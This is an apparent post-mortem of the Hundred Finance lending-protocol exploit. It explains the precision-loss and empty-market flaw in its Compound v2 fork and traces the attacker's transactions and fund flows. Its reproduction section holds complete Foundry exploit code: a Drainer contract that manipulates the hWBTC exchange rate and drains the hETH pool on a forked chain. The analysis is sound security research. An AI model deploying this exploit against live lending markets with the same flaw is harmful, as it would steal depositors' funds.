230415-HundredFinance
AttackTx
Analyzing the attack transaction using Phalcon.
The fund flow of this attack transaction is highly complex. From the Balance Changes, it's evident that the attacker ultimately obtained a significant amount of Ether, as well as DAI, USDT, and other tokens related to the Hundred Finance protocol. Additionally, the attacker borrowed WBTC from Aave to carry out the attack.
Invocation Flow
Let's analyze the invocation flow.
The attackContract initially borrowed 500 WBTC from Aave.
Then, approximately 15 hWBTC were redeemed for about 0.3 WBTC.
Afterward, all WBTC was transferred to a specified address, and a contract was created at that address using the CREATE2 instruction.
In the constructor of the new contract, ETHDrain, first, approve
was given to the hWBTC contract for WBTC. Then, 4e8 WBTC was passed into the mint
function, resulting in 20,000,000,000 hWBTC. Subsequently, the redeem
function was called, exchanging 19,999,999,998 hWBTC for 4 WBTC.
There seems to be an issue here, as it appears that 2 hWBTC were obtained out of nowhere.
However, upon closer inspection, it's revealed that the exchangeRate during mint
was 20,000,000,000,000,000, whereas during redeem
, it was 20,000,000,050,000,000. This means that the previous mint
altered the rate, allowing the same hWBTC to redeem more WBTC. It's also noticeable that the quantity redeemable here is slightly larger than 400,000,000. However, the final result is truncated after truncate
, indicating a precision loss issue.
Subsequently, ETHDrain transferred slightly over 500 WBTC to the hWBTC contract, then enterMarkets(hWBTC)
, and borrowed approximately 1021 Ether.
Later, the redeemUnderlying
function was called, exchanging 1 hWBTC for almost all of the WBTC previously transferred to the hWBTC contract. These WBTC were then returned to the original attackContract.
Also, it's noted that due to precision loss, when calculating the amount of hWBTC required to redeem slightly over 500 WBTC, what was supposed to be repayed as 1.999999 hWBTC became 1 in reality.
Then the attackContract called liquidateBorrow
to liquidate the ETHDrain contract, reclaiming the remaining 1 hWBTC with a small amount of Ether.
Finally, 1 hWBTC was exchanged for 2 WBTC.
Clearly, through various operations in the ETHDrain contract, the attacker managed to obtain a substantial amount of Ether from the hETH contract.
The subsequent flow follows a similar pattern, involving different tokens. Eventually, the attacker drained tokens from various lending pools in the Hundred Finance protocol.
Vulnerability
To understand the vulnerability and the profit-making mechanism of the attack, it is necessary to first have an understanding of the Hundred Finance protocol, specifically the original protocol Compound v2. Due to the amount of publicly available information, a detailed introduction will not be provided here. You can refer to the official documentation, whitepaper, and source code for learning.
Precision Loss / Rounding Error
It is obvious from the analysis of the attack transaction that there is a problem of precision loss in the protocol's operations. In fact, this was first pointed out in the audit by OpenZeppelin, which suggested that this might cause (very small) losses to users, where users would receive slightly less tokens than the calculated result during related operations. This is the case of precision loss that occurs in the redeem
of the ETHDrain contract after mint
.
However, through the attack transaction, we can see that this precision loss can also enable users to profit, i.e., in the case of paying the same amount of cTokens, they can get more Underlying Tokens. This is the case of precision loss that occurs in the redeemUnderlying
call of the ETHDrain contract.
Below is the calculation of the additional amount of Underlying Tokens that can be obtained through this precision loss.
For a certain lending pool, assuming there is currently:
And the user owns a cToken amount of \(kT (0 \leq k \leq 1)\). Then, the accurate amount of Underlying Tokens that can be exchanged for is: $$ \begin{align} amountAccurate = kT \times exchangeRate = kC \tag{4} \end{align} $$
While if utilizing the precision loss, the maximum amount of Underlying Tokens that can be obtained is approximately: $$amountMax \approx (kT+1) \times exchangeRate = kC + \frac{C}{T} \tag{5} $$
Meaning the additional amount of Underlying Tokens that can be obtained is \(exchangeRate = \frac{C}{T}\).
Taking an example from a normal redeemUnderlying
transaction in Compound v2 on the Ethereum mainnet. In the original transaction, 37.33289964 cETH was redeemed for 0.75 Ether.
function testRedeemPrecisionLoss() external {
// https://etherscan.io/tx/0x5a1b6484ed92777fa6f7a7d63c0ba032b81443835e2c3e89520899a2a0f3f6c5
// 37.33289964 cETH -> 0.75 Ether
address sender = 0x8e445422BaA49C7b98645E918577DE7D48280384;
ICEther cETH = ICEther(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
vm.startPrank(sender);
vm.createSelectFork("eth", 18328594);
vm.roll(18328595);
cETH.accrueInterest();
uint256 exchangeRate = cETH.exchangeRateStored();
emit log_named_uint("cETH exchangeRate", exchangeRate);
uint256 cETHAmountIn = 3733289964;
uint256 redeemAmountAccurate = cETHAmountIn * exchangeRate / 1e18;
uint256 precisionLossProfit = (cETHAmountIn + 1) * exchangeRate / 1e18;
console.log("redeemAmountAccurate:", redeemAmountAccurate);
console.log("precisionLossProfit:", precisionLossProfit);
cETH.redeemUnderlying(precisionLossProfit);
// 37.33289964 cETH -> 0.750000000126279633 Ether
vm.stopPrank();
}
Through the above calculation, it can be found that, according to the exchange rate at that time, 3733289964 cETH should only be exchanged for 0.749999999925384442 ETH, but due to precision loss, it can actually be exchanged for up to 0.750000000126279633 ETH.
Empty Market
From the above analysis, it can be seen that although precision loss can expand the amount of Underlying Tokens that can be redeemed by a certain amount of fixed cTokens, under normal circumstances, due to the small exchangeRate
, the additional amount that can be obtained is limited even for high-value WBTC with only 8 decimals.
Therefore, according to the calculation method of exchangeRate
, directly transferring Underlying Tokens into cToken is an obvious means to expand the rate and thereby increase the profit from precision loss. (Note that, without considering accrueInterest
, regular mint
or redeem
will not change the rate.)
Suppose the amount of Underlying Tokens transferred by the attacker to the cToken contract is \(I\), then at this point:
The amount of Underlying Tokens that can be redeemed using precision loss is:
And before the transfer, the original amount of Underlying Tokens is:
To make a profit, it must satisfy:
Combining \((7),(8), (9)\), we can conclude that profit requires:
So, along with \(I>0\), it must satisfy:
Obviously, when \(k=1\), this condition is met. And when \(k\neq 1\), the larger \(T\) is, the larger \(k\) needs to be.
In other words, when the attacker owns all the cTokens, they can meet the attack conditions. Otherwise, it depends on the current cTokenSupply
, the more the totalSupply, the more share the attacker is required to occupy.
Therefore, it is obvious that when empty markets exist, this method of transferring a large amount of Underlying Tokens can be used to manipulate the exchangeRate
and profit from precision loss.
Specifically, when an empty market is found, the attacker can mint
cTokens, making \(k=1\), and the additional profit the attacker can obtain using precision loss is:
So, to gain more profit, the amount of funds \(I\) transferred in should be larger, and the quantity of cTokens obtained after mint
, i.e., \(T\), should be smaller.
Now let's analyze the hWBTC contract attacked.
function testEmpty() external {
vm.createSelectFork("optimism", 89017326);
uint256 totalSupply = hWBTC.totalSupply();
console.log("empty market?", totalSupply == 0);
}
Querying the contract state before the attacker's action reveals that the cTotalSupply
of this hWBTC contract is 0, indicating that the state complies with empty markets, thus enabling the attacker to launch the attack using precision loss.
Exploit
Reproduce
Based on the previous analysis, combined with the attack transaction, the following script can be used for attack. Here, we only focus on attacking hETH as an example.
function testExploit() external {
uint256 blockNumber = 89017326; // before the attacker's first mint
vm.createSelectFork("optimism", blockNumber);
deal(address(WBTC), address(this), 800*1e8);
deal(address(this), 0); // https://twitter.com/TheBlockChainer/status/1727309850810392771
console.log("before attack");
emit log_named_decimal_uint("ETH balance", address(this).balance, 18);
emit log_named_decimal_uint("WBTC balance", WBTC.balanceOf(address(this)), WBTC.decimals());
uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));
bytes memory bytecode = type(Drainer).creationCode;
bytes memory contractBytecode = abi.encodePacked(bytecode, abi.encode(address(hEther)));
address DrainAddress = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(contractBytecode))))));
WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));
Drainer drainer = new Drainer{salt: bytes32(_salt)}(hEther); // drain the hETH pool
uint256 exchangeRate = hWBTC.exchangeRateStored();
uint256 liquidationIncentiveMantissa = 1080000000000000000;
uint256 priceBorrowedMantissa = priceOracle.getUnderlyingPrice(address(hEther));
uint256 priceCollateralMantissa = priceOracle.getUnderlyingPrice(address(hWBTC));
uint256 hTokenAmount = 1;
uint256 liquidateAmount = 1e18/(priceBorrowedMantissa * liquidationIncentiveMantissa / (exchangeRate * hTokenAmount * priceCollateralMantissa / 1e18)) + 1;
hEther.liquidateBorrow{value: liquidateAmount}(address(drainer), address(hWBTC)); // liquidate to get the 1 hWBTC
hWBTC.redeem(1); // redeem to recover the empty market
console.log("after attack");
emit log_named_decimal_uint("ETH balance", address(this).balance, 18);
emit log_named_decimal_uint("WBTC balance", WBTC.balanceOf(address(this)), WBTC.decimals());
}
contract Drainer is Test {
ICErc20 WBTC = ICErc20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);
ICErc20 hWBTC = ICErc20(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);
IComptroller comptroller = IComptroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);
ICEther hEther;
constructor(ICEther token) payable {
hEther = token;
WBTC.approve(address(hWBTC), type(uint256).max);
hWBTC.mint(1 * 1e8);
// hWBTC.redeem(hWBTC.totalSupply() - 1);
hWBTC.redeem(hWBTC.totalSupply() - 2); // get 2 hWBTC, the totalSupply is 2
uint256 donationAmount = WBTC.balanceOf(address(this));
WBTC.transfer(address(hWBTC), donationAmount);
console.log("donationAmount:", donationAmount);
address[] memory cTokens = new address[](1);
cTokens[0] = address(hWBTC);
comptroller.enterMarkets(cTokens);
uint256 cWBTCAmountIn = 1;
uint256 exchangeRate = hWBTC.exchangeRateStored();
uint256 precisionLossMaxAmount = (cWBTCAmountIn + 1) * exchangeRate / 1e18;
console.log("precisionLossMaxAmount:", precisionLossMaxAmount);
uint256 borrowAmount = hEther.getCash();
hEther.borrow(borrowAmount); // using cWBTC as collateral to lend ETH
payable(address(msg.sender)).transfer(address(this).balance);
uint256 redeemAmount;
if (precisionLossMaxAmount > donationAmount) {
redeemAmount = donationAmount;
} else {
redeemAmount = precisionLossMaxAmount;
}
console.log("redeemAmount:", redeemAmount);
hWBTC.redeemUnderlying(redeemAmount); // due to precision loss, only 1hWBTC was used to redeem all WBTCs
WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
}
}
It should be noted that since hWBTC is an empty market and does not hold much WBTC itself, utilizing precision loss alone cannot directly profit from the hWBTC contract. Therefore, a different approach is needed. The attacker can first mint
a small amount of hWBTC, then transfer a large amount of WBTC to the hWBTC contract. At this point, the exchangeRate is extremely high, so the hWBTC can be used as collateral to borrow tokens from other pools, thus emptying them. Later, due to precision loss, the attacker can use redeem
to withdraw the previously transferred WBTC without using all the hWBTC, while bypassing the liquidity check on the account during redeem
. Namely, the portion of precision loss is used as collateral to borrow tokens from other pools, thus profiting.
Specifically, according to the previous analysis, to maximize the profit from precision loss, the smaller the amount of hWBTC obtained after mint
, i.e., the smaller the totalSupply of hWBTC, the better. One can mint
first and then redeem
to retain a small amount of hWBTC. In reality, the attacker obtained 2 hWBTC, not the minimum 1 hWBTC. Observing the code of newer versions of the Compound v2, it can be found that the redeem
function will call the following redeemVerify
function at the end, which can prevent the attacker from passing in 0 hWBTC when using precision loss. However, in the version of the contract used by Hundred Finance, no such verification exists. Thus, in reality, it is possible to mint
only the minimum 1 hWBTC for the attack, achieving greater profit (although there are not so many funds in other pools).
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external {
// Shh - currently unused
cToken;
redeemer;
// Require tokens is zero or amount is also zero
if (redeemTokens == 0 && redeemAmount > 0) {
revert("redeemTokens zero");
}
}
After obtaining a small amount of hWBTC, a large amount of WBTC is transferred to the hWBTC contract to raise the exchangeRate, and then all ETH is borrowed from the hEther contract. Finally, using precision loss, all previously transferred WBTC can be redeemed, while bypassing the liquidity checks. (That is, the Comptroller
contract's getHypotheticalAccountLiquidityInternal
function only considers the attacker redeem
out 1 hWBTC worth of WBTC, but in reality, it is close to 2 hWBTC worth of WBTC.)
Finally, the Drainer contract created is liquidated by liquidateBorrow
, and then redeem
, causing the hWBTC contract to become an empty market again, thus continuing to attack other token markets using hWBTC. The specific amount of ETH needed to liquidate 1 hWBTC can be deduced by the liquidateCalculateSeizeTokens
function of the Comptroller
contract, and also due to precision loss, the final amount needs to be increased by 1.
Attack Flow
Below is an analysis of the entire attack process of the attacker.
The attacker first transfers funds from the L1 mainnet to Optimism, totaling 4.1 ETH and 0.31 WBTC.
Then, using 0.3 WBTC, mints about 0.15 hWBTC.
The following 8 transactions are attacks on two sets of Hundred Finance protocols (not studied, maybe one old and one new?). After creating the attack contract, the attacker first transfers the previously obtained hWBTC to two contracts (one of which is actually useless). Then two calls are made, the first to launch the attack and the second to withdraw the profit.
Then, Multichain and Fraxferry are used to send USDC, USDT, DAI, WBTC, ETH, and FRAX back to the Ethereum mainnet.
On the mainnet address, funds were first obtained from Tornado Cash on April 11.
After the attack was completed, the attacker exchanged USDT and USDC, which are subject to blacklist mechanisms, for other tokens through exchanges or by adding liquidity.
As of the writing of this article, the attacker has not taken any further action, and all profits are still in the original address.
Misc
Frontrunning Protection
According to the previous analysis, the attacker first mint
a small amount of hWBTC before the AttackTx and then redeem
it back to WBTC in the AttackTx, using it along with the 500 WBTC borrowed for the attack.
This way, the attacker already occupied all the shares of the WBTC market before the actual attack, and the redeem
calls involved, as well as the actual use of more WBTC than borrowed, can prevent frontrunning.
Patch
function testPatch() external {
uint256 blockNumber = 90843467;
vm.createSelectFork("optimism", blockNumber);
console.log("Mint Pause:", comptroller.mintGuardianPaused(address(hWBTC)));
}
Approximately 4 hours after the attack occurred, the project team initiated a transaction to execute an emergency pause, which prohibited the minting of tokens related to the protocol, preventing further exploitation of the vulnerability.